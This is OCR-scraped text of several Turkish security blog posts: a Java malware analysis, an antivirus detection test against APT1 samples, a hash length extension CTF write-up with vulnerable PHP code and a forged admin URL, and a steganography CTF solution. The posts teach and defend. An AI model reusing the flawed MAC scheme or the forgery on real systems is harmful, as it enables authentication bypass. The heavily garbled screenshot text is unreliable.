= = malware FE AR AR AR A AN A A AE AN AR AR SRR AAE S A S AT w -~
B stC /% Generated by Dr. Garbage Bytecode Wisualizer */ =
@B JRE Systern Library [Javase-1,7] /% http://uww. drgarbage. com b
=2, Referenced Libraries /% Version: 4.4.1.201408050542 B
E!-@ Ref Axess 5150228026.jar - C:\Documents and SettingsiAdmin /* Class retrieved from: Filesystem i
E|EE com.java /% Retrieved on: 2Z015-03-21 12:53:03.062 il
Main.class ll."ﬂ‘ o R o o ﬂ‘lll"

b -@b Main
- [E manifest.mf
B[ META-INF

/% class file format version 50.0 (java 1.6) */
package com.java;

public class Main {

/% compiled from g *

private static Y
Selection does not contain a main bype
private static H

private static

4 public static v
0 getstatic 2; f* jawva. lang.System.out */
3 1lde w 337: A7 myliu0011y u000Er # 4V, OF RE“+7, Q144 -P/R1
& invokestatic 324; /% java.lang.String com.java.Main. ALLATOR
9 invokevirtual 3: /% s0id printlnijava.lang.String argl) */
% L33 T
12 lde_w 339; A% "0 VhY u0002oh ul00fn) uhul018<, ud0ich v =a
15 invokestatic 3z24; /% java.lang.3tring com. java.Main. ALLATOR M|

&

bl

‘ Asagidaki adimlardan sirasiyla gecerek hizlica Dr. Garbage araglarini yiikleyebilir ve zararli JAR dosyasini analiz edebilirsiniz.
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Java - Eclipse

File Edit Source Refactor Mavigate Search Project Run  Window SSEE

LN R 0 G G @ veeone [

—— E. () Help Corterts

[# Package Explorer 53 = |<===('>| B
= | & search

[ryniamic Help

Key Assist... Chrl+Shift+L
Tips and Tricks. .,

| ,&?j} Report Bug or Enhancement. ..
Cheat Sheets...

%y Check for Updates
| G nstall Mew Software. ..
| B3 Installation Detals

| & about Eclipse

Eclipse Marketplace

—

Eclipse Marketplace

Select solutions to install, Press Finish to proceed with installation,
| Press the information button to see a detaled overview and a link to maore information,

Search IRecent | Popular | Installed | ') January 02j24 |

Find: | pytecode visualizer 4 U;| |AII Markets V| |AII Cateqaries

>

Bytecode Yisualizer 4.4.0

| Bytecode Visualizer is a tool used for visualizing and debugging Java byte code,
Features Owerview: Bytecode Viewer Signatures of classes, fields and methods. ..
- motre info

by D, Garbage Community, Apache 2.0
java bytecode decompiler debugger control Flowe graph

Installs: 11,6K {360 last month)

Bytecode Outline 2.4.3

F Bytecode Outline plugin shows disassembled bytecode of current java editor or class
file, allows bytecode compare Faor javajclass files and shows ASMifier code For. ..

> more info

by &ndrey Loskutow, EPL
java bytecode decompiler asm

Installs: 13,7K {327 last month)

BLU AGE LC2C - application modernization of PowerBuilder,
NatStar, VisualBasic, Delphi... 2014 Edition

MO compliant and built on Eclipse, BLU AGE (8 generates UML models From legacy
applications' source code and instantly transforms them into "Cloud ready” Java EE...
more info

a LU ase. by Bl Age Corp., Commercial

Installs: 00 last month) Learn more
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= Java - Eclipse

Edit Source Refactor Mavigate Search Project

Run Window Help

L EX

Create a Java Project

Create a Java project in the workspace or in an external location,

- &= 13 e 2 ‘ 1= |@.J Java H@‘-Debug
Open File... 4 Project... ; =
" = 8 Task List 53 =
8_5,? Package i R [
| (& Class (B |%| e X
¥ Interface il
@ Enum Boal boActivat...
@’ Annatation
% Source Folder
12 Java Working Set
i [ Folder
- % Ei
o) Refresh F5 fai- e @ Connect Mylyn b
Conwert Line Delimiters To Unkitled Text File Connect to your task and ALM
7 JUnit Test Case tools or create a local task,
Task =
| == Ot 3 = =0
Switch Warkspace L4 | G- utine 4T o
Restart !? Example... An outling is not available.
Other... Chrl+H
g Import... _l-ﬁ
[iag Export...
1 Main.class [com.java.Main]
Exit
[#] Problems 32 @ Javadoc [2 Declaration - S R T
0 ikems
Descripkion = Resource Path Location Type

Project name: | Malware

Use default location

Browse. ..

JRE

(%) Use an execution enyironment JRE: |JavaSE-1 7

O Use a project specific JRE: rET

(O Use default JRE {currently re?")

Project layouk

(O Use project folder as root for sources and class Files

(3) Create separate Folders For sources and class files

Warking sets

[C]add project to working sets

Confiqure JREs. ..

Confiqure defaulk...

[ mext> ][ Ensh

] [ Cancel
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= Java - Eclipse

Mavigate Search Pr
S — M = Mew Java Project _
& @ %, O- ﬁ‘ e, Java.TRJeC k ficcess 1 w |£-' Java |‘{‘§-Debug

7 - = Java Settings
[ Package Explorer 52 | g — 8 Define the Java build settings. g @ Ty LiE@ g
2Ele ~ o |[fE% | e | X f

-

boal b Ackivat..,

File Edit. Source  Refactor

& = Malware
[ source B Libraries

JARs and class folders on the build path:
[ B8\ IRE System Library [Javase-1.7]

= Projects

Gﬁ} Order and Export |

£dd J4Rs...
Add Yariable, ..

() Connect Mylyn 52
JAR Selection Connect ta your task and ALM
tools or create a local ask,

Lok in: |B i y| Q% e m-
g i iy - o
= |&|Ref Axess 5150228026, jar 8= outire 53 &° m]
L # An outling is not available,
My Recent
Documents
Desktop
h
I

@ v =8

My Computer
@ File name: || :V:| L Open I
My Netwark. Files of type: *jar;".zip b | [ Cancel J

Bu tiir analizi zorlagtirmaya yonelik yontemlerden faydalanan Java zararli yazilimlarina karsi reJ isimli, Java bayt kodunu manipiile
etmeye imkan taniyan araglardan faydalanabilirsiniz. Ornegin reJ araci ile Ref Axess 5150228026 jar dosyasini inceledigimizde Main
fonksiyonunda tanimlanan ¢ok sayida istisnanin (exceptions) siipheli oldugu dikkatimizi cekiyor. Istisna listesini kisaltip kayit ettikten
sonra bu Java dosyasini basariyla Dr. Garbage'nin bayt kod hata ayiklama araci ile analiz edebildigimizi goriiyoruz. Bundan sonrasi ise
artik ilgili yerlere kesme noktas1 (breakpoint) koymaya ve analiz etmeye kaliyor.

I reJ - C:\Documents and Setlings A dministrater Weskloprwiie! Axess 5150278026, jar

impoxt java.io.File;
dmport java.io.FileCutputStream; j
dmpoxt java.io.lOException;

dimport java.io. InputStream;

I T D
dmpext java.io.PrintStream; e

import java.io.Reader; el el ] whatie:

ot Cmares e (o —)
dmport java.net.URLConnection; ] - -

Cprotected || private
import java.util.ArrayList; R J Tl Move Up
dmport java.util.List; i alhotract ] 5 e
impext java.util.zip.GZIPInputStream; mam 1= _ Move Down
L 4 prvan swing UnsupportedL ookl » | TTTT TUTT | r
dmpoxt jeva.util.zip.ZipEntcy; P 1 5|
Return type 4 » -
fimport java.util.zip.ZipInputStresms; N oo L = £ \ e
impoxt javax.swing.JOptionPane; Parameters: javs lang Sing] Add. Eam. Hemove .
[import javax.suing.UlManager; Exceptions: (ava 10 IOExcepbon, java 1ang Clas sNOF oundE avan swang | E
impoxrt javax.swing.UnsupportedlookAndleelExcepty 2 = = o oK Cancel :
Max Stack Sire: —_—
SourcePils = i _Max Locals: 1
Class s : 50.0 | e | Cancel |
public class Main |

private static boolean ITiiITIATI4;
private static boolean II01211111;
private static boolean ALLATORINDEMOxpalermoAustralis;

" getstatic PrintStream System.out
s 1dc_w String Constant “wl c¥"+V,Q/RE*#V,Q'\-P/RL (UN*4I8"L1 c#"+V,Q/RE* V/R"_.5,00 ¥ 177 Jo q J(U/R,Q ] (U/R"_.5,00 *Vihd Jo q “+U,R,OF) (U/Q'_-P/QlL (VW*778*L q ](WQ R ] (W/R"\.P,Ro +U )7
. tic String Main.ALL palermoAustralia(String)
" invekevirtual veld PrintStream.printls|String)
IT4T44T1T4_stact:
String() ITAILAIIIL (WD 12 - A5)
u lde_w String Constant "0:Vb o nju < \"h D |
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Java ile gelistirilen zararli yazilimlari analiz etme konusunda elinizin, kolunuzun bagl olmadigini bilmeniz adina yazdigim bu yazi,
umarim sizler i¢in faydali olmustur. Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Bilinen Tehditlere Karsi Antiviriislerin Durumu

Source: https://www.mertsarica.com/bilinen-tehditlere-karsi-antiviruslerin-durumu/
By M.S on June 1st, 2015

Son kullanici, sistem giivenlik yoneticisi, bilisim giivenligi uzmani da olsaniz, zaman zaman su soruyu kendinize sordugunuz oluyordur;
Hangi antivirlis yazilimini kullanmaliyim ? Bilindigi iizere antiviriis yazilimlarinin temelinde imza tabanli bir teknoloji yatmaktadir
bu nedenle yeni ¢ikan tehditlere kars1 antiviriis yazilimi iireticisinin kisa bir siire i¢cinde imza olusturmasi ve bunu diinya genelindeki
kullanicilarina yayginlastirmasi, kullanicilar1 agisindan bilinen tehditlere karsi sistemlerini koruyabilme adina biiyiik bir dneme sahiptir.
Dolayistyla bir antiviriis yazilimimi degerlendirirken, onlarca 6nemli kriterden bir tanesi de, bu antiviriis yaziliminin veritabaninin,
bilinen tehditlerin ne kadarini tespit edebildigi, ne kadar giincel oldugudur.

62


https://www.mertsarica.com/bilinen-tehditlere-karsi-antiviruslerin-durumu/
https://www.mertsarica.com/bilinen-tehditlere-karsi-antiviruslerin-durumu/

Evvel zaman iginde, sistem ve bellek iizerinden ileri seviye bilinmeyen zararli yazilimlar1 imzasiz, davranigsal analiz yaparak tespit
edebilen bir giivenlik {irliniinii degerlendirmek igin ¢esitli testler (POC - proof of concept) yaparken, antiviriis yaziliminlarinin yetersiz
oldugu noktalarda bu {iirliniin katma degerini ortaya ¢ikarmaya g¢alistyordum. Bunun igin de antivirilis yazilimlarinin tespit edemedigi
fakat bu tirlin tarafindan davranigsal analiz ile tespit edilen ileri seviye zararli yazilimlara ihtiya¢ duymustum.

Bu c¢alismanin akabininde, antiviriis yazilimlarmin bu zamana kadar tespit edilmis olan APT zararli yazilimlarim tespit etmede ne
kadar basarili olup olmadiklarini da dgrenmeye karar verdim. Mevzu bahis ileri seviye zararli yazilimlar olunca aklima hemen
Mandiant'in 2013 yilinin Subat aymda yaymlamis oldugu ve 2006 yilindan raporun yayinlanmasina kadar gecen siirede Cinliler
tarafindan gergeklestirilen ve ileri seviye saldirilar1 konu alan APT-1 raporu gelmisti. Mandiant sagolsun bu raporun yaninda tespit
ettikleri zararli yazilimlarin md5 hash bilgilerini (1007 tane) de ek rapor olarak paylasmisti. 1007 tane zararli yazilima, testlerde
kullanmak i¢in ulagsmak pek miimkiin olmasa da VirusShare sitesi sayesinde 293 tanesine ulagmak miimkiin olmustu.

() tracker.virusshare.com

= h = [ = k Show Last Week's - Show All —Aililu
VirusShare BitTorrent Client Tracker & ==
Azureus Tracker version 4.3.0.6/2.1.4
uilt:
Torrent Status Size Seeds Peers TotUp Tot Down Avg Up Avg Down Left Comp Avg Pr ASI0 Added
VirusShare_APT1_293.zip o i Running  16.56 MB 4 0 436GB 537GB O0B/s  OB/s 0B 507 Tl el
: ) ) ) - 113,81 : 0,0 20130225
VirusShare_APT1_Clean7.zip o i Running 6548kB 2 o ME an.81ME 0Bfs 0B/s 0B 169 = 14845, 70¢0 314256
VirusShare_APT1110_20131229.zip o i Ruming 0388 5 0 21068 259GB  O0B/s  0B/s 0B 45 EeTEs  hnee

MB
Up

Tracker Totals: 3 torrents, 0 announce/s, 0 scrape/s, 46 B/s in, 24 B/s out
Swarm Totals: 8 seeds, 0 peers, 0 Bfs up, 0 B/s down, 0 B left
Transfer Totals: 56.064 TB, 12.678 TB, 1.02 MB/s up, 67.04 GB, 2.00 MB, 0 B/s down, 154d 11:16:52 uptime

Tabii 293 tane zararh yazilimi teker teker VirusTotal sitesine yiiklemek ve her birinin sonucuna bakmak pratikte miimkiin olamayacagi
icin hem merakimi gidermek hem de benzer nedenlerden 6tiirii bu tiir bir ¢calismaya ihtiya¢ duyanlari da diislinerek Python ile iki tane
ara¢ hazirlamaya karar verdim.

Hazirladigim ilk arag olan Virustotal Mass Uploader (vt_mass_uploader.py) araci ile elinizde bulunan birden fazla zararli yazilimi
VirusTotal sitesine yiikleyebiliyorsunuz. Bunun igin aracin bulundugu klasdrde malwares adinda bir klasor olusturmaniz ve yiiklenmesini
istediginiz zararli yazilimlari bu klasore kopyalamaniz yeterli oluyor.

X CA\Windows\system32\cmd.exe - python vt_mass_uploader.py = = “

_834374db2d35cf ?dab558f54cecBadhs to VirusTotal
_Bc5e?f564115hfcheeb6377a829de55f to VirusTotal

Hazirladigim ikinci arag olan VirusTotal Reporter (vt reporter.py) araci ise VirusTotal Mass Uploader aracinin ¢iktist olan vt_report.txt
dosyasini okuyarak VirusTotal'a yiiklenen zararli yazilimlarin raporlarini zararli yazilimin aditxt olarak diske yazmaktadir. Bu
dosyalardan hangi antiviriis yaziliminin ilgili zararli yazilimi tespit edip edemedigi goriilebilmektedir.
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X CA\Windows\system32\cmd.exe - python vt_reporter.py = “

WirusTotal Reporter vli.B [http:/ www.mertsarica.coml]

[*] Dounloading VirusTotal report for UirusShar _33;374:1]32d35cf9da6558f54cec8a45

}*] Created UirusTotal report: UirusShare B34374db2d35cf9dab558f54cecBadbh_txt
[#*] Dounloading VirusTotal report for UirusShare BcSe?f564115bfcheebb3??aB29debh

[#]1 Created UirusTotal report: UirusShare BcSe?f564115bhfcheebbh3d?7aB29de55f - txt

] \aptWirusS
File Edit Search Wiew Encoding Language Settings Macro Run  Plugins  ‘Window 7 %

o &= s 3 & i
[=] VirusShare_001dd76672d808016921342308c646. b+t E3

1  EBkgv=false ~

A MicroWorld-eScan=true

i nProtect=true
4 CHC=false

5  CAT-QuickHeal=true

[ Medfee=true

7 Malusrehynes=true

5 Zillwg=true

S  SUPERAntiSpyware=false
io TheHacker=truE|
11 Alibaha=false
12 K7GW=true

15 KihntiVirus=true

14 Agnituwp=true

15  Cyren=true

16 Symanteg=true

17  HNorman=true

15 Totallefense=false

12 TrendMicro-HouseCall=true
Z0  Avast=true
Sl ClamblV=true

22 Eagpersky=true

L) BitDefender=true

24 NANO-Antiwvirus=true

-~ - e e - =
Mormal text length : 816 lines : 58 Ln: 10 Col:15 Sel:0|0 LINIY UTF-8 wjo BOM NS

Mandiant'in 2013 yilinda yayimlanan APT raporunda yer alan 293 zararli yazilimi yukaridaki araglar ile VirusTotal'a yiikleyip, poptiler

antiviriis yazilimlarinin hangilerini tespit edip edemedigine baktigimda ortaya ¢ikan tablo beni biraz sasirtt1.
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AWINDOWS\system32icmd. exe

naptrgrep —i Mcafee=false =*.txt | wc -1
4

naptdgrep —i Symantec=false *.txt | wc -1
1

napt dgrep —i TrendMicro=false *.txt | wc -1
?

napt dgrep —i Kaspersky=false *.txt | wc -1
?
napt dgrep —i Avast=false *.txt | wc -1
13
'

naptrgrep —i Avg=false *.txt | wc -1
?

napt>grep —i Bitdefender=false =*.txt | wc -1
14

naptdgrep —i Comodo=false *.txt | wc -1
?

napt>grep —i F-Secure=false *.txt | wc -1
14

naptdgrep —i clamav=false *.txt | wc -1
28

inaptrgrep —i microsoft=false *.txt | wc —1
5

inaptrgrep —i ESET-NOD3Z2=false =.txt | wc -1
1
'

sNapt>grep —i sophos=false =.txt | wc -1
1

hapt>grep —i panda=false ®*_txt | we -1
18

Mandiant's APT-1 Malwares

Vendor Failed Detection Rate (x/293)* |Percentage
Symantec ! 99,66%
ESET-NOD32 1 99,66%
Sophos ! 99,66%
Mcafee 4 98,63%
Microsoft 5 98,29%
TrendMicro 7 97,61%
Comodo 7 97,61%
Kaspersky 9 96,93%
AVG 9 96,93%
Avast 13 95,56%
F-Secure 14 95,22%
BitDefender 14 95,22%
Panda 13 93,36%
ClamAv 20 93,17%

* Lower is better at detection

Mandiant's APT1 Report (18.02.2013): http://intelreport. mandiant.com/Mandiant_APT1_Report.pdf
Digital Appendix & Indicators: http://intelreport.mandiant.com/Mandiant_APT1_Report_Appendix.zip

2 sene Once yayinlanan bir rapora ragmen antiviriis yazilimlarindan bazilarinin 25.05.2015 tarihi itibariyle hala bu zararli yazilimlari
tespit edemedigi acikca goriiliiyor. Ornegin Clamav antiviriis yazilimi 293 tane zararl yazilimdan 20 tanesini, Panda ise 18 tanesini,
Bitdefender ve F-Secure ise 14 tanesini tespit edemiyor. Tabii bu zararlt yazilimlardan bir tanesinin ip ve port taramak icin kullanilan
Angry IP Scanner oldugunu sdylemem lazim dolayisiyla 293/293 tespit eden bir antiviriis yazilimi olsaydi bu defa da cok dogru bir sonug
olmayacakti. Bu 6rneklem sonucunda ortaya ¢ikan tabloya gére Symantec, ESET-NOD32 ve Sophos'un diger antiviriis yazilimlarma
gore imza ile bilinen tehditleri tespit etmede daha basarili oldugunu sdylersek yanlis olmayacaktir.

Yaptigim bu ¢alismanin antiviriis yazilimlarin1 degerlendirmek isteyenlere, hangi antiviriis yazilimini kullanmaliyim sorusuna yanit
arayanlara yol gosterecegini timit ederek, bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Hash Uzunluk Genisletme Saldinsi

Source: https://www.mertsarica.com/hash-uzunluk-
By M.S on May 11th, 2015

enisletme-saldirisi/

Sizma testi uzmanlar1 ve kripto analistler tarafindan Merkle-Damgard hash fonksiyonlarinin (MDS5, SHA-1, SHA-256, SHA-512 vb.)
uzunluk genisletme (length extension) saldirisindan dogasi geregi etkilendigi bilinmektedir. Bu hash fonksiyonlarinin MAC (mesaj
dogrulama kodu) olarak kullanildig1 durumlarda ortaya c¢ikan zafiyet kotiiye kullanilarak gizli anahtar (secret key) bilinmeden gecerli
bir MAC olusturulabilmektedir.

Bir 6rnek ile kisaca agiklamak gerekirse, diyelim ki yazilimcinin biri asagidaki gibi bir web uygulamasi hazirlamis olsun. (Pi Hediyem
Var #2 Hacking Oyunu)

" . (hash("nd5", $secret. $usernane)) ;
//exit;
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i f(isset($usernane) and isset($hash)){

/1 print "
$user nane;

/1 print "
$secret;

i f(hash("nmd5", $secret. $usernane) == $hash) {
$pos = strpos($usernane, "adm n");

if ($pos !== false) {
print "Tebrikler $username , art#k en yuksek yetkiye sahipsin :)";
print "

Pi Hedi yem Var cekili#ine kat#l mak i ¢ci n bu ekran gor int Gstnid ve ¢ézimyol unu Mert SARICA i | e payl a#abi lirsin";
} else {
print "Merhaba $username , hala sefil kullan#c# yetkisine sahipsin :(";
print "

Raspberry Pi 2 cekili#ine kat#l abilmek icin admn yetkisi ile giri# yapabilnmen |az#m";
print "

Ref erans: https://ww. nertsarica. conl pi -hedi yemvar-2/";

} else {
$usernane = 'misafir';
$loc = "Location: " . "https://ww.nertsarica.confctf/ctf2. php?" . "usernane=" . S$usernane . "&hash=" .
header ( $l oc) ;
exit;

} else {
$usernane = 'misafir';
$loc = "Location: " . "https://ww.nertsarica.confctf/ctf2. php?" . "usernane=" . S$usernane . "&hash=" .
header ( $l oc) ;
exit;
}

?>

Bu uygulama, dogrulama adimindan gegen (gegtiyse ornek kullanicimiz mert olsun) ve gegmeyen her bir kullaniciya (gegmediyse
ornek kullanicimiz misafir olsun), o kullaniciya 6zel olarak olusturulan bir $hash degeri atiyor. Bu $hash degerini de, MDS5(kullanici
adi ($username) + sunucu tarafinda olusturulan bir anahtar ($secret)) ile yani hash("md5",$secret.$username) seklinde olusturuyor.
Kullanici, dogrulama adimindan gegtikten veya gegmedikten sonra uygulama iizerinde gergeklestirdigi her islem icin sunucuya artik
MAC olarak bu $hash degerini gonderiyor. Bu sayede web uygulamasi, gelen her $hash degerini, anlik olarak olusturdugu hash("'md5",
$secret.$username) degeri ile kiyaslayarak (hash("md5",$secret.$username) == $hash) kullanicinin yetkili (mert) veya yetkisiz bir kisi
(misafir) olup olmadigini anliyor. Eger kullanict adinda (username=) admin kelimesi gegiyor ve anlik olusturulan MAC ile kullanicidan
gelen $hash birbiri ile tutuyorsa kullaniciy1 yonetici (admin) sayfasina yonlendiriyor. Alfaniimerik, 11 hane uzunlugunda olan $secret
degeri de uygulama sunucusunun kaynak kodunda tanimli oldugu igin ($secret = 'H4ck4C4r33r';), art niyetli bir kiginin deneme
yanilma saldiris (brute-force) ile admin kullanicisinin $hash degerini bulmasi ve admin sayfasina erigmesi pratikte yillar siirecektir diye
diisiiniiyoruz, ancak yaniliyoruz!

Bilack 2

Block n + Padding

v v W

v bl bl b

Neden yaniliyoruz ¢linkii yukaridaki resimden de anlasilacagi izere 6rnek olarak bir verinin MDS hashi iiretilirken, veri 512 bitlik bloklar
halinde islendikten sonra hash degeri tiretilmektedir. Bir blok en fazla 64 bayt uzunlugunda olabilir ve eger son blok, 56 bayttan kiigtik
ise doldurma (padding) islemi yapilir. Son blogun son 8 bayti, bloklarin boyutunu tanimlamak igin kullanilir. {1k blok, IV (initialization
vector) ile isleme alinir. Diger bloklar ise bir 6nceki blogun ¢iktisi ile isleme devam eder. Hash isleminin devam etmesi i¢in bir dnceki
blogun ¢iktisini isleme almak yeterlidir. (length extension)

Kabaca elimizde iki ayr1 veri var diyelim, biri ABC digeri ise AB. Her bir harfin bir blok oldugunu diisiinelim. ABC i¢in gerceklestirilen
hashleme isleminde 6nce A islenir, ¢iktis1 B'ye girdi olarak iletilir sonra B islenir, ¢iktis1 C'ye girdi olarak iletilir ve C son blok oldugu
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i¢in eger 56 bayttan kiiciik ise doldurma islemi (padding) gerceklestirilir. Ardindan A,B ve C blogunun biiyiikliigii toplanarak bit olarak
son 8 bayta little-endian olarak yazilir ve islenerek ortaya bir hash degeri ¢ikar. AB verisinin hash ¢iktisina C verisi eklenerek ABC
verisinin hash degeri iiretilebilir. Bu durum da hash genisletme (length extension) zafiyetine yol agmakta ve kétiiye kullanilabilmektedir.

Gizli Anahtar (Secret Key)
|
EEEEE

Bu zafiyetin nasil kétiiye kullanilabilecegine kisaca gdz atalim;

Web uygulamasinin kaynak kodunda asagidaki gibi hatal1 bir sekilde hash fonksiyonu ile MAC iiretildigi ve ardindan strpos fonksiyonu
ile kullanici adinda admin karakter dizisi gegiyor ise bu kullaniciya yonetici yetkisi verildigi goriilmektedir.

i f(hash("nmd5", $secret. $usernane) == $hash) {
$pos = strpos($usernane, "adm n");
if ($pos !== false) {
print "Tebrikler $usernanme , art#k en yiksek yetkiye sahipsin :)";

Bu web uygulamasi sayfayr ziyaret eden herhangi bir kullaniciyl, sayfayr ziyaret ettigi zaman otomatik olarak
misafir yetkisine (kullanici=misafir) atamakta ve bu kullaniciya ait S$hash degerini kullaniciya gondermektedir.
(hash=44183d9752e575bfc5bbe28caa5d9ces)

$username degeri bizim kontroliimiizde olduguna gore hash kontroliinii atlatmak i¢in $secret degerini bilmeden yukarida anlatmig
olduklarima gore sunu yapabiliriz. $secret degeri ile $username degeri birbirine eklendigine (concatenate) goére bunun toplamini 64 bayta
tamamlayarak {izerine admin karakter dizisini ekleriz ve ardindan bizden beklenen $hash degerini de web uygulamasina géndererek bu
kontrolii basariyla atlatabiliriz.

username olarak kullanilacak olan misafir + padding + boyut + admin degerinin yeni $hash degerini 6grenmek icin misafir
kullanicisinin $hash degeri olan 44£83d9752e575bfcSbbe28caa5d9ceS degerinden faydalanabiliriz. Yukarida da belirttigim tizere ilk
blokta kullanilmak iizere bu hash degerini baslangic degeri olarak (internal state) kullanarak bu degerin iizerine padding + (misafir +
admin)'in uzunlugunu ekleyerek birinci blogun islemini tamamlayabiliriz. Ardindan ikinci blogun baslangic degeri olarak admin karakter
dizisini kullanarak yeni $hash degerini (373fb330afbcObla5688ff4a3eflb2a6) grenebiliriz. Normalde $secret degerini biliyor olsaydik
bunu asagidaki gibi Python ile kolaylikla 6grenebilirdik.
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@ root@gdr-desktop: /root

T
=+
T
=+
"
F

yeni olugan $hash

Aslinda $secret degerini bilmemize gerek yok ¢linkii bildigimiz bir verinin hash degerine, yeni bir veri ekleyerek,
degerini (373fb330afbcObla5688ff4a3eflb2a6) rahatlikla dgrenebiliriz.
[ B ] |

[_@ root@gdr-desktop: /root

File: hash extension.c

GNU nano 2.2.6

m

[ Read 30 lines ]




(=] B e |

@ root@gdr-d

Goriildiigii tizere misafir + admin igin yeni $hash degerini $secret degerini bilmeden 6grenebildik. Simdi sira $username parametresinde
373fb330afbcOblaS688{f4a3ef1b2a6 hash degerini iiretecek parametreleri olusmaya geldiginde sunu yapacagiz. $secret degerini
bilmiyoruz ancak ilgili $hash degerini iiretmek i¢in bilmemize gerek olmadigini artik biliyoruz. Burada sadece iki degerin toplam
boyutunu tahmin etmemiz gerekiyor. Bunun i¢in de hash extender aracindan faydalanabiliriz. Bu araca sunucunun bize ilk atadagi/
gonderdigi $hash degerini -s parametresi ile, (44f83d9752e575bfcSbbc28caa5d9ce5), hash degerine ait veriyi (yani misafir) ise
-d parametresi ile, eklenecek veriyi ise (yani admin) -a ile ve toplum boyutu deneme yanilma ile tespit edebilme adina min
ve max parametrelerini vererek kullanabiliyoruz. Program c¢iktisindaki her bir degeri (bu arada yeni liretilen hash degerinin
(3731b330afbcObla5688ff4a3eflb2a6) de bizimki ile ayni oldugunu gorebiliyoruz) teker teker uygulama iizerinde denedigimiz
zaman $secret degerinin 11 hane uzunlugunda oldugunu ve MAC olarak kullanilan $hash degerini basariyla tespit edip, kontrolii
atlatabildigimizi goriiyoruz.

Hack 4 Career - Siber Gav: X
<« C AN 8 httpsy//www.mertsarica.com/ctf/ctf2.php?username=misafir%80%00%00%00%00%00%00%00%00%00%00%00%00%00%0(
Tebrikler misafir€)€padmin . artik en yiiksek yetkiye sahipsin :)

Pi Hediyem Var gekilisine katilmak i¢in bu ekran gdriintiisiini ve ¢dziim yolunu Mert SARICA ile paylasabilirsin

Yazilim gelistiricisiyseniz, hash uzunluk genisletme (hash length extension attack) zafiyetine kars1 kendi MAC kontroliiniizii (custom)
olusturmak yerine HMAC kullanabilirsiniz.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Pi Hediyem Vardi, Verdim, Gitti #3 :)

Source: https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-3/
By M.S on May 5th, 2015

1 Mayis 2015 tarihinde iiglinciisii diizenlenen Pi Hediyem Var oyununun ¢éziim yolu ve Raspberry Pi 2 kazanan talihli karginizda!
C0OzUM YOLU:

Dabhi ile deli arasinda ince bir ¢izgi oldugu séylenir.

Asagidaki resimde gordiigiiniiz bir dahi ise, yine bu resimde olan ama goremediginiz deli kimdir ? sorusu bize aslinda bu resim iginde
baska bir resmin gizli olabilecegine yani steganografi kullanildigina dair ipucu veriyordu. Bu ipucundan yola ¢ikarak Einstein'in resmini
(pihaber6.png) Google gorseller iizerinde aratarak resmin orjinalina kisa bir siirede ulagabilirdik.
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https://github.com/iagox86/hash_extender
https://en.wikipedia.org/wiki/Hash-based_message_authentication_code
https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-3/
https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-3/
https://www.mertsarica.com/pi-hediyem-var-3/
https://www.mertsarica.com/pi-hediyem-var-3/

- W
Google Gorseller x
€ 9 X f& B8 https//www.google.com.tr/imghp?hl=tr&tab=wisei=0f49VfzhL4SrsAGK24CwBg8ved=0CABQqidoAg
Gérseller 8
Gorselle ara
Google'da metin yerine gorselle arama yapin. Buraya bir resim soriklemeyi deneyin
Dosya yiikleniyor e
[ BN RTPE fm B . e e s
Waiting for www.google.com.tr...

oo @

+Mert

iy ® ﬁ -
# 0 B &
Gizlilik Sartlar Ayarlar

Google'da Ara x

C f | B https://www.google.com.tr/search?tbs=sbi:AMhZZitZvp857uVhITVUa-XgOWUMHOhIwakHMO1l4s6KosP6fARUEQ 77| & [xI] @ &=

&

Eslesen gorselleri iceren sayfalar

Is - "Einstein Sizin igin Caligsayd...." - Basglangicin biraz ilerisi...
. kmuratsimsek blogspot.com/.. fis-einstein-sizin-icin-calssayd-... ~

- 26 Nis 2014 - Muhtegem olurdu degil mi? Disinsenize tarihin

gelmis gecmis en biyik zekalanndan birisi sizin icin calisiyor. Hangi

departmanda olursa

Poster APPLE Think Different Albert Einstein - 50X70 ...
hitps://'www._pinterest.com/.../11603... ~ Bu sayfanin gevirisini yap
357 = 500 - Poster APPLE Think Different Albert Einstein - 50X70 !! | See
more about albert einstein and posters

Think different on Pinterest | Jane Goodall, Pablo Picasso ...
https:/itr.pinterest. com/ericchan2017/think-different/

357 = 500 - Explore eric chan’s board "Think different” on Pinterest, a visual
bookmarking tool ... Apple «=Think Different-- ad campaign 1997 poster >
Jane GOODALL (brit

Poster Apple Think Different Albert Einstein 50x70 | eBay
www.ebay.com/...-/250764766418 ~ Bu sayfanin cevirisini yap
€21,90 - Stokta Var

357 = 500 - Poster APPLE Think Different Albert Einstein - 50X70 1! in
Computers/Tablets & Networking, Vintage Computing, Vintage Computers &
Mainframes | eBay

-
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B hitp://mentalfioss.com x \
o m——

Is - "Einstein Sizin icin Calissaydi..." ...

k) einstein1_7 jpg (620x747) x \
| € Ch mentalfloss.com t 2 |k & =
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Steganografi kullanildigindan siiphe ederek resim iizerinde Digital Invisible Ink Toolkit arac1 ile RS LSB steganalizi yaptigimizda Red,
Green ve Blue renk grubunun degerlerinin orjinaline kiyasla yiiksek ¢iktigint gorebilirdik. Bu durum da bize LSB yontemi ile resim
iizerinde bir verinin gizlendigi bilgisini verirdi.

Stegsolve araci ile

|2 Digital Invisible Ink Toolkit 1.5 [=] o [

[ Encode | Decode | Smuate | Anaiyss |

Pick an analysis method

i Steganalysis i [ Benchmark ] [ Bulk Steganalysis

Results from last analysis

Results of stegamalysiz -
RS AWALYSIZ

B Analysis (Hon-cverlapping groups)

Bercentage in red: 20.7Z635

Approximate lengch (in byoes) from red: 35957.3567
Bercentage in green: Z0.S4B6€

ipprowimate length (in bytes) from green: 36384.84465
Percentage in blue: 20.74158

2pproximate length (in bytes) from blue: 36024.15551 ;
The last analysis results

BS Znalp=i= (Overlapping groups)

Bercentage in red: 20.43816

ipprowimate length (in bytes) from red: 3540822382
Bercentage in green: Z0.4301%

ipprowimate length (in bytes) from green: 35482.52821
Bercentage in blue: Z0.Z0Z8S

2pproximate length (in bytes) from blue: 35087.BES61

m

Zverage across all groups/cocleurs: 20.58173 | 4
Zverage approximate length across all groups/cclours: 35745.82889

| Digital Invisible Ink Toolkit 15 (e [t

[ Encode | Decode | Smulate | Analyss |

Pick an analysis method

| Steganalysis | [ Benchmark ] [ Bulk Steganalysis

Results from last analysis
Besultr of steganalysis

»

B3 ANALYSIS

